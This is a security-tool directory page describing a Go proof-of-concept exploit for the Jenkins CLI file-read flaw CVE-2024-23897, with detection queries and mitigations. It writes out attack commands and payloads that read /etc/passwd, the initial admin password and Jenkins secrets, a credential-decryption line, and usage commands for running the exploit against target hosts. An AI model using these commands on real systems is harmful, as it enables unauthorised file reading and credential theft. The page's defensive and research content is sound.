Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc-CVE-2024-23897 — CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE | Kitploit
Tools/GitHubGitHub/vmc8ll/poc-cve-2024-23897
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingPayload Development
GitHubvmc8ll/poc-cve-2024-23897

poc-CVE-2024-23897

CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE

View Repository
26 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

poc-CVE-2024-23897

CVE-2024-23897: Jenkins Arbitrary File Read Lead to RCE 🎯 Affected Products and Versions

root@kitploit:~
Product: Jenkins (Continuous Integration/Continuous Delivery server)

Versions: Jenkins 2.441 and earlier, Jenkins LTS 2.426.2 and earlier

Fixed in: Jenkins 2.442, Jenkins LTS 2.426.3

📝 Description

CVE-2024-23897 is a critical vulnerability in Jenkins that allows unauthenticated attackers to read arbitrary files on the Jenkins controller file system. The vulnerability exists because Jenkins does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path with the file's contents.

This flaw can lead to remote code execution (RCE) when combined with other techniques, making it particularly dangerous for organizations using Jenkins in their CI/CD pipelines. 🔍 Vulnerability Details Root Cause

The vulnerability stems from the expandAtFiles() function in the org.kohsuke.args4j.CmdLineParser class. When parsing CLI arguments, if the parser encounters an '@' symbol followed by a file path, it reads and expands the content of that file. Attack Vector

Attackers can exploit this vulnerability using the Jenkins CLI interface without authentication: bash

java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd

Technical Analysis File Read Limitations

root@kitploit:~
Without authentication: Only first 3 lines of the file can be read (depending on CLI command)

With 'Overall/Read' permission: Full file content can be read

Binary files: Can be extracted but may be affected by encoding issues (Windows-1252 on Windows yields better results than UTF-8 on Linux)

Attack Surface Expansion

Once file read is achieved, attackers can escalate to more severe attacks:

root@kitploit:~
Extract Credentials:

    Read /var/jenkins_home/credentials.xml for encrypted credentials

    Read /var/jenkins_home/secrets/master.key and hudson.util.Secret for decryption

    Decrypt credentials using Jenkins script console: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())

Forge "Remember-me" Cookies:

    Obtain administrative access by forging authentication cookies

Execute Arbitrary Code:

    Achieve RCE through Resource Root URL, XSS, or CSRF vectors

💥 Impact Immediate Impact

root@kitploit:~
Confidentiality: Complete disclosure of all files on Jenkins server (source code, credentials, SSH keys, tokens)

Integrity: Attackers can modify builds, pipelines, and configurations

Availability: Potential for denial of service or ransomware deployment

Real-World Exploitation

This vulnerability has been actively exploited in the wild:

root@kitploit:~
Added to CISA Known Exploited Vulnerabilities (KEV) catalog

Used by ransomware gangs (RansomEXX) to compromise infrastructure

Exploited by threat actor IntelBroker to steal GitHub repositories and compromise IT service providers

🔧 Detection Indicators of Compromise

Successful exploitation attempts can be detected through:

HTTP Request Patterns: text

POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]

Typical Payload Examples:

root@kitploit:~
@/etc/passwd

@/var/jenkins_home/secrets/initialAdminPassword

@/etc/os-release

Splunk Detection Query text

index=web uri="/cli?remoting=false" http_method=POST http_status=200

🛡️ Mitigation Official Fix

Upgrade to patched versions:

root@kitploit:~
Jenkins ≥ 2.442

Jenkins LTS ≥ 2.426.3

Temporary Mitigation

If immediate patching is not possible:

root@kitploit:~
Disable Jenkins CLI access

Set Java system property: hudson.cli.CLICommand.allowAtSyntax=false

Restrict network access to Jenkins admin interface

Implement WAF rules to block requests containing @/ patterns

🔗 References

root@kitploit:~
NVD Entry

Jenkins Security Advisory

CISA KEV Catalog

Splunk Research

Tenable CVE Page 
📦 Building and Running

bash

Build the exploit

go build -o jenkins-cve-2024-23897 exploit.go

Run the exploit

./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd

Run with Go directly

go run exploit.go http://target-jenkins:8080 /etc/passwd

🎯 Usage Examples bash

Read sensitive files

./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword

Read Windows file (if Jenkins runs on Windows)

./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini

⚙️ How It Works

root@kitploit:~
Session Initialization: Generates a unique 20-byte session ID

Payload Construction: Builds binary payload with help @/path/to/file structure

Upload Phase: Sends payload to Jenkins CLI endpoint

Download Phase: Retrieves file content from the response

Output: Displays the file content or error message

📊 Features

root@kitploit:~
Pure Go implementation - No external dependencies

Cross-platform - Works on Windows, Linux, macOS

Configurable timeouts - Adjustable for slow networks

Clean error handling - Detailed error messages

Binary-safe - Handles both text and binary files

⚠️ Important Notes

root@kitploit:~
Educational purposes only - Use only on systems you own or have permission to test

Unauthenticated reads - Without authentication, only first ~3 lines are readable

Binary files - May be affected by encoding issues (use Windows target for better binary extraction)
Download Tool